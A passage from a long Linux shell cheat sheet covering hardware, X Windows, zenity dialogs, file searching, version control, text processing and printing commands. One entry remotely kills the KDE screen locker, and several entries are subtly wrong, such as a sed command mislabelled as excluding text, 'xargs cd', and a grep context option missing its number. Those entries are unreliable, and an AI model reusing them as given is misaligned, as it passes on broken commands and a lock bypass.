 loadkeys uk

* show all key and mouse events

 xev

MONITOR

....

* Give information about your graphic chipset

 lshw -C display

* Show display adapter, available drivers, and driver in use

 lspci -v | perl -ne '/VGA/../^$/ and /VGA|Kern/ and print'

DEVICES

ETHERNET

CARD ....

* Get ethernet card information.

 ethtool eth0

MONITORS

....

* Configure second monitor to sit to the right of laptop

 xrandr --output LVDS --auto --output VGA --auto --right-of LVDS

CDROMS

....

* Add audio CD to xmms2 playlist

 xmms2 addpls cdda://

* Decreasing the cdrom device speed

 eject -x 4

* limit the cdrom driver to a specified speed

 eject -x 8 /dev/cdrom

* save a compressed copy of data from a cdrom

 gzip < /dev/cdrom > cdrom.iso.gz     

* rip audio tracks from CD to wav files in current dir

 cdparanoia -B 

* clear a rewritable compact disk (CDRW)

 cdrecord -v dev=/dev/cdrom blank=fast   

* Make audio CD from all wavs in current dir (see also cdrdao)

 cdrecord -v dev=/dev/cdrom -audio *.wav

* how to copy cd/dvd onto the hard disk (.iso)

 dd if=/dev/cdrom of=whatever.iso

BURNING

CDS AND DVDS ....

* erase content from a cdrw

 cdrecord -v -blank=all -force

* Create an ISO Image from a folder and burn it to CD

 hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso

* burn an ISO image to writable CD

 wodim cdimage.iso

* burn an iso to cd or dvd

 cdrecord -v path_to_iso_image.iso

* add files to existing growable DVD using growisofs

 growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"

* Blank/erase a DVD-RW

 dvd+rw-format -force /dev/dvd1

* Burn a directory of mp3s to an audio cd.

 alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'

* backup your playstation game using rip

 cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc

SCSI

....

* Shows physically connected drives (SCSI or SATA)

 ls /sys/bus/scsi/devices

* scan for new scsi devices

 echo "- - -" > /sys/class/scsi_host/host0/scan

USB

....

* remount a usb disk in gnome without physically removing and reinserting

 eject /dev/sdb; sleep 1; eject -t /dev/sdb

* Get names of files in /dev, a USB device is attached to

 ls -la /dev/disk/by-id/usb-*

To relabel a usb thumb drive, first find out the type of file system on the drive.

packages for relabeling usb thumb drives .. FAT16 and FAT32 partitions, use mtools. .. NTFS partitions, use ntfsprogs. .. ext2, ext3, or ext4 partitions, use e2fsprogs. .. JFS partitions, use jfsutils. .. ReiserFS (v3) partitions, use reiserfsprogs. .. XFS partitions, use xfsprogs ..

* unmount the usb device before re-labeling it

 sudo umount /dev/sdb1

* check the current device label

 sudo mlabel -i /dev/sdb1 -s ::

* edit the mtools.conf file

 vim /etc/mtools.conf

* relabel the drive

 mlabel p:newlabel

CPU

CENTRAL PROCESSING UNIT ....

* List the CPU model name

 grep "model name" /proc/cpuinfo

* List the CPU model name

 sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo

XWINDOWS

tools .. wmctrl - control a window manager from scripts ..

* Start an X app remotely

 ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi

* Run any GUI program remotely

 ssh -fX <user>@<host> <program>

* Send keypresses to an X application

 xvkbd -xsendevent -text "Hello world"

* Click on a GUI window and show its process ID and command used to

 xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd

* Start another X session in a window

 startx -- /usr/bin/Xephyr :2

THE

CLIPBOARD ....

* get xclip to own the clipboard contents

 xclip -o -selection clipboard | xclip -selection clipboard

* copy the file list.xml to the clipboard

 cat list.xml | xclip

* copoy a large file to the clipboard with a progress meter

 pv large.xml | xclip

* print to standard output the text or data in the x clipboard

 xsel -o 

If a piece of text is currently 'selected' or 'highlighted' in some window on the computer, then this text will be printed with 'xsel -o'

KDE

Kde is an alternative to 'gnome' and uses the qt windowing toolkit. qt is not a completely free toolkit.

* Unlock your KDE4.3 session remotely

 qdbus org.kde.screenlocker /MainApplication quit

GNOME

Gnome uses the gtk windowing toolkit to draw its graphical user interfaces. gtk is a completely opensource toolkit.

USER

INTERFACES

* Read a keypress without echoing it

 stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo

* On screen display of command results

 date | osd_cat

SELECT

MENUS ....

The linux 'select' command is the simplest way of making a menu for the user to select from.

WHIPTAIL

AND DIALOG ....

Both whiptail and dialog create 'windows' in a console terminal.

KDIALOG

....

Kdialog seems to be more or less equivalent to zenity for the KDE desktop.

* Show a passive popup in KDE which times out in 30 seconds

 kdialog --passivepopup <text> 30

* an SSH monitor using kdialog

 ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done

ZENITY

zenity is a simple way to present the user with a graphical user interface without needing to use a programming language. Zenity uses the gtk windowing library, so is aimed to the gnome linux desktop

@@ http://bumble.sf.net/books/bash/bash-book.txt Some other zenity examples.

* display a window with a calender and output the chosen date

 zenity --calendar

* allow the user to (graphically) choose a file

 zenity --file-selection --title 'select a file'

* make a window with a list-box with the files from current folder

 ls | zenity --list --column="test" 

* try to jump to a folder with zenity

  find -type d -name '*er*' | zenity --list --column= | xargs cd

The file which the user selects in the list box is printed to the standard output.

* display a text box and a label in a window

 zenity --title "Select Host" --entry --text "Select a server"

* display a yes/no box with the question 'really quit now?'

 zenity --question --text "really quit now?"

* show a question dialog and exit the script if the user says yes

 [ $(zenity --question --text "really quit?") ] && echo quiting && exit

* show a notification icon in the gnome task bar

 zenity --notification --window-icon=update.png --text "System update necessary!"

PROGRESS

BARS WITH ZENITY ....

* show a progress bar while a command is executing

 find $HOME -name '*.mp3' | zenity --progress --pulsate

CHECKBOXES

WITH ZENITY ....

* display a list with check boxes with the column labels

 zenity --list --checklist --column "Buy" --column "Item" TRUE Apples TRUE Oranges FALSE Pears FALSE Toothpaste 

##(this writes 'Apples|Oranges' to standard out)

WINDOWS

AND GUI APPLICATIONS ....

@@ gtk-apps.org graphical applications which run with the gnome desktop.

* open a file with its appropriate window application

 xdg-open file.txt 

* show the x window for a graphical app running on a remote computer

 ssh -X user@server.ext

STARTING

X ....

* start X from a virtual console

 startx 

* run startx and redirect its output to a log file

 startx >$HOME/startx.log 2>&1 

* start X from a virtual console, and specify 16-bit color depth,

 startx -- -bpp 16 

* end your X session if you are running the fvwm2 window manager, click the left mouse button in the root window to pull up the start menu, and then choose Really quit? from the Exit Fvwm submenu.

* end your X session if you are running the afterstep window manager, click the left mouse button in the root window to pull up the start menu, and then choose Really quit? from the Exit Fvwm submenu.

* exit X immediately

 [CTRL]-[ALT]-[BKSP]

* run a digital clock from a shell window

 xclock -digital & 

* start a small xclock, 48 pixels wide and 48 pixels high

 xclock -geometry 48x48 

* start a large xclock, 480 pixels wide and 500 pixels high

 xclock -geometry 480x500 

* start an xclock with a width of 48 pixels and the default height

 xclock -geometry 48 

* start an xclock with a height of 48 pixels and the default width

 xclock -geometry x48 

* list the available colors

 xcolors  ##(Press [Q] to exit xcolors.)

* switch to the desktop to the left of the current one while running fvw2,

  type [ALT]-[{<-]}.

* switch to the desktop directly to the left of the current one while running afterstep,

  type [CTRL]-[{<-]}.

* switch to the next-lowest video mode

 [CTRL]-[ALT]-[+]

* switch to the next-highest video mode

 [CTRL]-[ALT]-[-]

* change the root window color to blue violet

 xsetroot -solid blueviolet 

* tile the root window with a star pattern

 xsetroot -bitmap /usr/X11R6/include/bitmaps/star 

* tile the root window with a light slate gray star pattern on a black background

 xsetroot -fg slategray2 -bg black -bitmap /usr/X11R6/include/bitmaps/star 

* make the root window a gray color with no pattern

 xsetroot -gray 
* browse the system documentation files in the '/usr/doc' directory
 lynx /usr/doc 

* browse the system documentation files in the '/usr/doc' directory in Mozilla, type the following in Mozilla's Location window: usr/doc

* find all files on the system that have 'audio' anywhere in their name

 locate audio 

* find all the files on the system whose file names end with the text 'ogg'

 locate *ogg 

* find all hidden "dotfiles" on the system

 locate /. 

NOTE

: locate searches are not case sensitive.

* list all files on the system whose file name is 'top', regardless of case

 find / -iname top 

* list all files whose names begin with the three characters 'top' followed by exactly three more characters

 find / -name 'top???' 

* list all files in the current directory tree whose names have either the string 'net' or `comm' anywhere in their file names, type:

 find . -regex '.*\(net\|comm\).*' 

* list all files in the '/usr/local' directory tree that are greater than 10,000 kilobytes in size

 find /usr/local -size +10000k 

* list all files in your home directory tree less than 300 bytes in size

 find ~ -size -300b 

* list all files on the system whose size is exactly 42 512-byte blocks

 find / -size 42 

* find all empty files in your home directory tree

 find ~ -empty 

* list the files in the '/usr/local' directory tree that were modified exactly 24 hours ago

 find /usr/local -mtime 1 

* list the files in the '/usr' directory tree that were modified exactly five minutes ago

 find /usr -mmin 5 

* list the files in the '/usr/local' directory tree that were modified within the past 24 hours

 find /usr/local -mtime -1 

* list the files in the '/usr' directory tree that were modified within the past five minutes

 find /usr -mmin -5 

* list all of the files in your home directory tree that were modified yesterday

 find ~ -mtime 1 -daystart 

* list all of the files in the '/usr' directory tree that were modified one year or longer ago

 find /usr -mtime +356 -daystart 

* list all of the files in your home directory tree that were modified from two to four days ago

 find ~ -mtime 2 -mtime -4 -daystart 

* find files in the '/etc' directory tree that are newer than the file '/etc/motd'

 find /etc -newer /etc/motd 

* list all files in your home directory tree that were modified after May 4 of the current year

 touch -t 05040000 /tmp/timestamp 
 find ~ -newer /tmp/timestamp 

* list all files in the '/usr/local/fonts' directory tree owned by the user warwick

 find /usr/local/fonts -user warwick 

* list all files in the '/dev' directory tree owned by the audio group

 find /dev -group audio 

* find all files in the '~/html/' directory tree with an `.html' extension, and output lines from these files that contain the string 'organic'

 find ~/html/ -name '*.html' -exec grep organic '{}' ';' 

* remove files from your home directory tree that were accessed more than one year after they were last modified, pausing to confirm before each removal

 find ~ -used +365 -ok rm '{}' ';' 

* list files in your home directory tree whose names begin with the string 'top', and that are newer than the file `/etc/motd', type:

 find ~ -name 'top*' -newer /etc/motd 

* compress all the files in your home directory tree that are two megabytes or larger, and that are not already compressed with gzip (having a '.gz' file name extension)

 find ~ -size +2000000c -regex '.*[^gz]' -exec gzip '{}' ';' 

* list the files in the current directory, with their attributes, sorted with the largest files first

 ls -lS 

* list the files in the current directory and their attributes, sorted from smallest to largest

 ls -lSr 

* output a list of the subdirectories of the current directory tree, sorted in ascending order by size

 du -S . | sort -n 

* output a list of the subdirectories in the current directory tree, sorted in descending order by size

 du -S . | sort -nr 

* output a list of the subdirectories in the '/usr/local' directory tree, sorted in descending order by size

 du -S /usr/local | sort -nr 

* output the number of files in the current directory

 ls | wc -l 
19

* count the number of files -- including dot files -- in the current directory

 ls -A | wc -l 
81

* list the number of files in the '/usr/share' directory tree, type:

 find /usr/share \! -type d | wc -l 
* list the number of files and directories in the '/usr/share' directory tree
 find /usr/share | wc -l 
* list the number of directories in the '/usr/share' directory tree
 find /usr/share \! -type f | wc -l 

* find out whether perl is installed on your system, and, if so, where it resides

 which perl  ##(prints something like '/usr/bin/perl')

* determine the format of the file '/usr/doc/HOWTO/README.gz',

 file /usr/doc/HOWTO/README.gz 
/usr/doc/HOWTO/README.gz: gzip compressed data, deflated, original

* determine the compression format of the file '/usr/doc/HOWTO/README.gz'

 file -z /usr/doc/HOWTO/README.gz 

FILE

TIMESTAMPS

* change the timestamp of file 'pizzicato' to the current date and time

 touch pizzicato 

* change the timestamp of file 'pizzicato' to '17 May 1999 14:16'

 touch -d '17 May 1999 14:16' pizzicato 

* change the timestamp of file 'phone' to '14:16'

 touch -d '14:16' phone 

* split 'large.mp3' into separate files of one megabyte each, whose names begin with 'large.mp3.'

 split -b1m large.mp3 large.mp3. 

* reconstruct the original file from the split files

 cat large.mp3.* > large.mp3 
 rm large.mp3.* 

* determine whether the files 'master' and `backup' differ

 cmp master backup 

VERSION

CONTROL SYSTEMS

A version or revision control system is designed to keep track of different versions of a text document, or other file or files. These systems are often employed when writers or programmers want to be able to revert to a previous version of a document or code file.

CVS

....

* Override and update your locally modified files through cvs..

 cvs update -C

* List only locally modified files with CVS

 cvs -Q status | grep -i locally

SUBVERSION

....

Subversion is a reasonably modern versioning system which was supposed to replace 'cvs'.

* Prints total line count contribution per user for an SVN

 svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r

* Add new files/directory to subversion repository

 svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add

* Skip over .svn directories when using the "find" command.

 find . -not \( -name .svn -prune \)

* Archive all SVN repositories in a platform independent form

 find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done

* Ignore a directory in SVN, permanently

 svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"

* Add all files in current directory to SVN

 svn add --force *

* Get a range of SVN revisions from svn diff and tar gz them

 tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\.$'`

* get colorful side-by-side diffs of files in svn with vim

 vimdiff <(svn cat "$1") "$1"

* sync svn working copy and remote repository (auto adding new

 svn status | grep '^?' | awk '{ print $2; }' | xargs svn add

* Commit only newly added files to subversion repository

 svn ci `svn stat |awk '/^A/{printf $2" "}'`

* Add all unversioned files to svn

 svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1

* Add all files not under subversion control

 for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;

* Deleting Files from svn which are missing

 svn status | grep '!' | sed 's/!/ /' | xargs svn del --force

* Have subversion ignore a file pattern in a directory

 svn propset svn:ignore "*txt" log/

* output list of modifications for an svn revision

 svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//

* Recursively Add Changed Files to Subversion

 svn status | grep "^\?" | awk '{print $2}' | xargs svn add

* Output a list of svn repository entities to xml file

 svn list -R https://repository.com --xml >> svnxxmlinfo.xml

* fetch all revisions of a specific file in an SVN repository

 svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh

* Create subversion undo point

 function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }

* gets all files committed to svn by a particular user since a given date

 svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq

GIT

....

This system seems to be used for linux development and apparently was written by Mr Torvalds himself after dissatisfaction with other tools

* Add forgotten changes to the last git commit

 git commit --amend

* Move all files untracked by git into a directory

 git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/

* Show git branches by date - useful for showing active branches

 for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort

* List all authors of a particular git project

 git shortlog -s | cut -c8-

* grep across a git repo and open matching files in gedit

 git grep -l "your grep string" | xargs gedit

* Show (only) list of files changed by commit

 git show --relative --pretty=format:'' --name-only HASH

* git remove files which have been deleted

 git add -u

* Prints per-line contribution per author for a GIT repository

 git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r

* github push-ing behind draconian proxies!

 git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git

* Display summary of git commit ids and messages for a given branch

 git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'

* Makes a project directory, unless it exists; changes into the dir,

 gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi }

* Display summary of git commit ids and messages for a given branch

 git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'

* Display condensed log of changes to current git repository

 git log --pretty=oneline

* Undo several commits by committing an inverse patch.

 git diff HEAD..rev | git apply --index; git commit

* Stage only portions of the changes to a file.

 git add --patch <filename>

RCS

AN OLD VERSION CONTROL SYSTEM ....

* check in the file 'novel' with RCS

 ci novel 

* deposit this revision in RCS

 ci novel 

* check out the latest revision of the file 'novel' for editing,

 co -l novel 

* check out the current revision of file 'novel', but dont permit any changes

 co novel 

* check out revision 1.14 of file 'novel'

 co -l -r1.14 novel ##(check-in the latest changes first)

* view the revision log for file 'novel'

 rlog novel 

READING

TEXT FILES ....

* page through the text file 'README'

 less README 

* page through all of the Unix FAQ files in '/usr/doc/FAQ'

 less /usr/doc/FAQ/unix-faq-part* 
This command starts less, opens in it all of the files that match the given pattern '/usr/doc/FAQ/unix-faq-part*', and begins displaying the

* peruse the file 'translation' with non-printing characters displayed

 cat -v translation | less  ##(non-printing characters are shown with 'hats') 

* output the first ten lines of file 'placement-list'

 head placement-list 

* output the first line of file 'placement-list'

 head -1 placement-list 

* output the first sixty-six lines of file 'placement-list'

 head -66 placement-list 

* output the first character in the file 'placement-list'

 head -c1 placement-list 

* output the last ten lines of file 'placement-list'

 tail placement-list 

* output the last fourteen lines of file 'placement-list'

 tail -14 placement-list 

* follow the end of the file 'access_log'

 tail -f access_log 

* output line 47 of file 'placement-list'

 sed '47!d' placement-list 

* output lines 47 to 108 of file 'placement-list'

 sed '47,108!d' placement-list 

* output the tenth line in the file 'placement-list'

 head placement-list | tail -1 

* output the fifth and fourth lines from the bottom of file 'placement-list'

 tail -5 placement-list | head -2 

* output the 500th character in 'placement-list'

 head -c500 placement-list | tail -c1 

* output the first character on the fifth line of the file 'placement-list'

 head -5 placement-list | tail -1 | head -c1 

* output all the text from file 'book-draft' between `Chapter 3' and 'Chapter 4'

 sed -n '/Chapter 3/,/Chapter 4/p' book-draft 

* output all the text from file 'book-draft', except that which lies between the text 'Chapter 3' and `Chapter 4'

 sed '/Chapter 3/,/Chapter 4/p' book-draft 

* apply the kraut filter to the text in the file '/etc/motd'

 cat /etc/motd | kraut 

* view the contents of the text file 'alice-springs' in sview

 sview alice-springs 

* view an ASCII character set

 man ascii 

* view the ISO 8859-1 character set

 man iso_8859_1 

* run the vi tutorial, type the following from your home directory:

 cp /usr/doc/nvi/vi.beginner.gz . 
 gunzip vi.beginner 

* concatenate these files into a new file, 'novels'

 cat early later > novels 

* make a file, 'novels', with some text in it cat > novels This Side of Paradise The Beautiful and Damned ,,,

* add a line of text to the bottom of file 'novels'

 cat >> novels 
The Last Tycoon C-d

* insert several lines of text at the beginning of the file 'novels'

 ins novels 
The Novels of F. Scott Fitzgerald

* process the file and write to the file 'monday.txt'

 m4 menu > monday.txt 
Debian: 'an'

* output all anagrams of the word 'lake'

 an lake 

* output all anagrams of the phrase 'lakes and oceans'

 an 'lakes and oceans' 

* output only anagrams of the phrase 'lakes and oceans' which contain the string 'seas'

 an -c seas 'lakes and oceans' 

* output all of the words that can be made from the letters of the word 'seas'

 an -w seas 

* output all of the palindromes in the system dictionary

 perl -lne 'print if $_ eq reverse' /usr/dict/words 

* make a cut-up from a file called 'nova'

 cutup nova 

Debian: 'dadadodo'

* output random text based on the text in the file 'nova'

 dadadodo nova 

* output all non-empty lines from the file 'term-paper'

 grep . term-paper 

* output only the lines from the file 'term-paper' that contain more than just space characters

 grep '[^ ].' term-paper 

* output only the odd lines from file 'term-paper'

 sed 'n;d' term-paper 

* double-space the file 'term-paper' and and save to 'term-paper.print'

 pr -d -t term-paper > term-paper.print 

* triple-space the file 'term-paper' and save to the file 'term-paper.print'

 sed 'G;G' term-paper > term-paper.print 

* quadruple-space the file 'term-paper', and save to the file 'term-paper.print'

 sed 'G;G;G' term-paper > term-paper.print 

* output the file 'owners-manual' with a five-space (or five-column) margin to a new file, 'owners-manual.pr'

 pr -t -o 5 -w 77 owners-manual > owners-manual.pr 
This command is almost always used for printing, so the output is

* print the file 'owners-manual' with a 5-column margin and 80 columns of text

 pr -t -o 5 -w 85 owners-manual | lpr 

* print the file 'owners-manual' with a 5-column margin and 75 columns of text

 pr -t -o 5 -w 80 owners-manual | lpr 

* convert all tab characters to spaces in 'list', and write the output to 'list2'

 expand list > list2 

* convert initial tab characters to spaces in 'list', and write the output to the standard output

 expand -i list 

* convert every 8 leading space characters to tabs in 'list2', saving in 'list'

 unexpand list2 > list 

* convert all occurrences of eight space characters to tabs in file 'list2', and write the output to the standard output

 unexpand -a list2 

* convert every leading space character to a tab character in 'list2', and write the output to the standard output

 unexpand -t 1 list2 

* paginate the file 'listings' and write the output to a file called 'listings.page'

 pr -f -h "" listings > listings.page 
By default, pr outputs pages of 66 lines each. You can specify the page

* paginate the file 'listings' with 43-line pages, and write the output to a file called 'listings.page'

 pr -f -h "" -l 43 listings > listings.page 

NOTE

: If a page has more lines than a printer can fit on a physical

* print the file 'duchess' with the default pr preparation

 pr duchess | lpr 

You can also use pr to put text in columns -- give the number of

* print the file 'news.update' in four columns with no headers or footers

 pr -4 -t news.update | lpr 

* replace plaintext-style italics with TeX '\it' commands M-x replace-regular-expression _\([^_]+\)_ \{\\it \1} * replace TeX-style italics with plaintext _underscores_ M-x replace-regular-expression \{\\it \{\([^\}]+\)\} _\1_

* output the file 'term-paper' so that you can view underbars, type:

 ul term-paper 

* output the file 'term-paper' with all backspace characters stripped out

 col -u term-paper 

* sort the file 'provinces' and output all lines in ascending order

 sort provinces 

* sort the file 'provinces' and output all lines in descending order

 sort -r provinces 

* peruse the file 'report' with each line of the file preceded by line numbers

 nl report | less ##(set the numbering style with the '-b')

* show 'report', each line preceded by line numbers, starting with 2 step 4

 nl -v 2 -i 4 report 

* peruse the text file 'report' with each line of the file numbered

 cat -n report | less 

* peruse the text file 'report' with each non-blank line of the file numbered

 cat -b report | less 

* write a line-numbered version of file 'report' to file 'report.lines'

 cat -n report > report.lines 

* output the file 'prizes' in line-for-line reverse order

 tac prizes 

* output 'prizes' in page-for-page reverse order

 tac -s $'\f' prizes  ##(using the form-feed as the delimiter)

* output 'prizes' in word-for-word reverse order

 tac -r -s '[^a-zA-z0-9\-]' prizes 

* output 'prizes' in character-for-character reverse order

 tac -r -s '.\| 
  ' prizes 

* output 'prizes' with the characters on each line reversed

 rev prizes 

* output lines in the file 'catalog' containing the word `CD', type:

 grep CD catalog 

* output lines in the file 'catalog' containing the word `Compact Disc'

 grep 'Compact Disc' catalog 

* output lines in all files in the current directory containing the word 'CD'

 grep CD * 

* output lines in the file 'catalog' that contain a `$' character, type:

 grep '\$' catalog 

* output lines in the file 'catalog' that contain the string '$1.99'

 grep '\$1\.99' catalog 

* output all lines in '/usr/dict/words' beginning with `pre', type:

 grep '^pre' /usr/dict/words 

* output all lines in the file 'book' that begin with the text `in the beginning', regardless of case

 grep -i '^in the beginning' book 

* output lines in the file 'sayings' ending with an exclamation point

 grep '!$' sayings 

* output all lines in '/usr/dict/words' that are exactly two characters wide

 grep '^..$' /usr/dict/words 

* output all lines in '/usr/dict/words' that are 17 characters wide

 grep '^.\{17\}$' /usr/dict/words 

* output all lines in '/usr/dict/words' that are 25 or more characters wide

 grep '^.\{25,\}$' /usr/dict/words 

* output all lines in 'playlist' containing either 'the sea' or 'cake'

 grep 'the sea\|cake' playlist 

* output all lines in '/usr/dict/words' that are not three characters wide

 grep -v '^...$' 

* output all lines in 'access_log' that do not contain the string 'http'

 grep -v http access_log 

* output lines in '/usr/dict/words' that only contain vowels, type:

 grep -i '^[aeiou]*$' /usr/dict/words 

* search across line breaks for the string 'at the same time as' in the file 'notes'

 cat notes | tr -d '\r\n:\>\|-' | fmt -u | grep 'at the same time as' 

* list lines from the file 'email-archive' that contain the word 'narrative' only when it is quoted

 grep '^>' email-archive | grep narrative 

* list lines of 'archive' containing the word 'narrative', but notquoted

 grep narrative archive | grep -v '^>' 

* show lines in '/usr/dict/words' containing any of the words in the file 'swear'

 grep -f swear /usr/dict/words 

* output lines in '/usr/dict/words' not containing any of the words in 'swear'

 grep -v -i -f swear /usr/dict/words 

* search through the compressed file 'README.gz' for the text 'Linux'

 zgrep Linux README.gz 

* search the contents of the URL http://example.com/ for lines containing the text 'gonzo' or `hunter'

 lynx -dump http://example.com/ | grep 'gonzo\|hunter' 

* search '/usr/dict/words' for lines matching `tsch' and output two lines of context before and after each line of output

 grep -C tsch /usr/dict/words 

* search '/usr/dict/words' for lines matching `tsch' and output six lines of context before and after each line of output

 grep -6 tsch /usr/dict/words 

* search '/usr/dict/words' for lines matching `tsch' and output two lines of context before each line of output

 grep -B tsch /usr/dict/words 

* search '/usr/dict/words' for lines matching `tsch' and output six lines of context after each line of output

 grep -A6 tsch /usr/dict/words 

* search '/usr/dict/words' for lines matching `tsch' and output ten lines of context before and three lines of context after each line of output

 grep -B10 -A3 tsch /usr/dict/words 

* replace the string 'helpless' with the string `helpful' in all files in the current directory

 perl -pi -e "s/helpless/helpful/g;" * 

* search forward through the text you are perusing for the word 'cat' /cat

* convert the text file 'saved-mail' to PostScript, with default formatting, and spool the output right to the printer

 enscript saved-mail 

* write the text file 'saved-mail' to a PostScript file, 'saved-mail.ps', and then preview it in X

 enscript -p report.ps saved-mail 
 ghostview saved-mail.ps 

* print the contents of the text file 'saved-mail' on a PostScript printer, with text set in the Helvetica font at 12 points

 enscript -B -f "Helvetica12" saved-mail 

* make a PostScript file called 'saved-mail.ps' containing the contents of the text file 'saved-mail', with text set in the Helvetica font at 12 points

 enscript -B -f "Helvetica12" -p saved-mail.ps saved-mail 

* print the contents of the text file 'saved-mail' to a PostScript printer, with text set in 10-point Times Roman and header text set in 18-point Times Bold

 enscript -f "Times-Roman10" -F "Times-Bold18" saved-mail 

* make a PostScript file called 'saved-mail.ps' containing the contents of the text file 'saved-mail', with text and headers both set in 16-point Palatino Roman

 enscript -f "Palatino-Roman16" -F "Palatino-Roman16" -p

* print a sign in 72-point Helvetica Bold type to a PostScript printer

 enscript -B -f "Helvetica-Bold72" 

* print a sign in 63-point Helvetica Bold across the long side of the page

 enscript -B -r --word-wrap -f "Helvetica-Bold63" 

* pretty-print the HTML file 'index.html'

 enscript -Ehtml index.html 

* pretty-print an email message saved to the file 'important-mail', and output it with no headers to a file named 'important-mail.ps'

 enscript -B -Email -p important-mail.ps important-mail 

* peruse a list of currently supported languages

 enscript --help-pretty-print | less 

* print the contents of the text file 'saved-mail' with fancy headers on a PostScript printer

 enscript -G saved-mail 

* make a PostScript file called 'saved-mail.ps' containing the contents of the text file 'saved-mail', with fancy headers

 enscript -G -p saved-mail.ps saved-mail 

* print the contents of the text file 'saved-mail' with a custom header label containing the current page number

 enscript -b "Page $% of the saved email archive" saved-mail 

* determine whether the file 'gentle.tex' is a TeX or LaTeX file, type:

 grep '\\document' gentle.tex 

* print a copy of the PostScript version of the SGML-Tools guide to the default printer

 zcat /usr/doc/sgml-tools/guide.ps.gz | lpr 

* check the SGML file 'myfile.sgml'

 sgmlcheck myfile.sgml 

* make a plain text file from 'myfile.sgml'

 sgml2txt myfile.sgml 

* make a PostScript file from 'myfile.sgml'

 sgml2latex myfile.sgml 
 latex myfile.latex 
 dvips -t letter -o myfile.ps myfile.dvi 

* list all the X fonts on the system

 xlsfonts 

* list all the X fonts on the system whose name contains the text 'rea'

 xlsfonts '*rea*' 

* list all the bold X fonts on the system

 xlsfonts '*bold*' 

* display the characters in a medium Courier X font

 xfd -fn '-*-courier-medium-r-normal--*-100-*-*-*-*-iso8859-1' 

* set the console font to the scrawl_w font

 consolechars -f scrawl_w 

* set the console font to the 8x8 size sc font

 consolechars -H 8 -f sc 

* list all of the characters in the current console font

 showcfont 

* output the text 'news alert' in the default figlet font

 figlet news alert 

* output the text of the file 'poster' in the figlet `bubble' font

 cat poster | figlet -f bubble 

NOTE

: The 'bubble' font is installed at `/usr/lib/figlet/bubble.flf'.

* make a banner saying 'Happy Birthday Susan'

 banner 'Happy Birthday Susan' 

* preview the file '/usr/doc/gs/examples/tiger.ps'

 ghostview /usr/doc/gs/examples/tiger.ps 
* extract only the first page from the file 'abstract.dvi' and send the PostScript output to the printer
 dvips -pp1 abstract.dvi 

By default, dvips will output to the printer; to save the PostScript

* output as PostScript the pages 137 to 146 of the file 'abstract.dvi' to the file `abstract.ps'

 dvips -pp137-146 -o abstract.ps abstract.dvi 

* select the first ten pages, page 104, pages 23 through 28, and page 2 from the file 'newsletter.ps' and write it to the file 'selection.ps'

 psselect -p1-10,104,23-28,2 newsletter.ps selection.ps 

* write the 2nd-to-last to the tenth pages from the PostScript file * 'newsletter.ps' and output them to the file 'selection.ps'

 psselect -p_2-10 newsletter.ps selection.ps 

* write all even pages in 'newsletter.ps' to a new file, 'even.ps'

 psselect -e newsletter.ps even.ps 

* select all of the odd pages in the file 'newsletter.ps' and write them to a new file, 'odd.ps'

 psselect -o newsletter.ps odd.ps 
Use an underscore ('_') alone to insert a blank page, and use `-r' to

* select the last ten pages of file 'newsletter.ps', followed by a blank page, followed by the first ten pages, and output them to a new file, 'selection.ps'

 psselect -p_1-_10,_,1-10 newsletter.ps selection.ps 
* select the pages 59, 79, and 99 in the file 'newsletter.ps', and output them in reverse order (with the 99th page first) to a new file, 'selection.ps'
 psselect -p59,79,99 -r newsletter.ps selection.ps 

* make a new PostScript file, 'double.ps', putting two pages from the file 'single.ps' on each page

 psnup -2 single.ps double.ps 
To specify the paper size, give the name of a standard paper size as an

* rearrange the pages of file 'newsletter.ps' into a signature and write it to the file 'newsletter.bound.ps'

 psbook newsletter.ps newsletter.bound.ps 
By default, psbook uses one signature for the entire file. If the file

* rearrange the pages of file 'newsletter.ps' into an eight-sided signature and write it to 'newsletter.bound.ps'

 psbook -s8 newsletter.ps newsletter.bound.ps 

* resize the file 'double.ps' to US letter-sized paper, saving to 'new.ps'

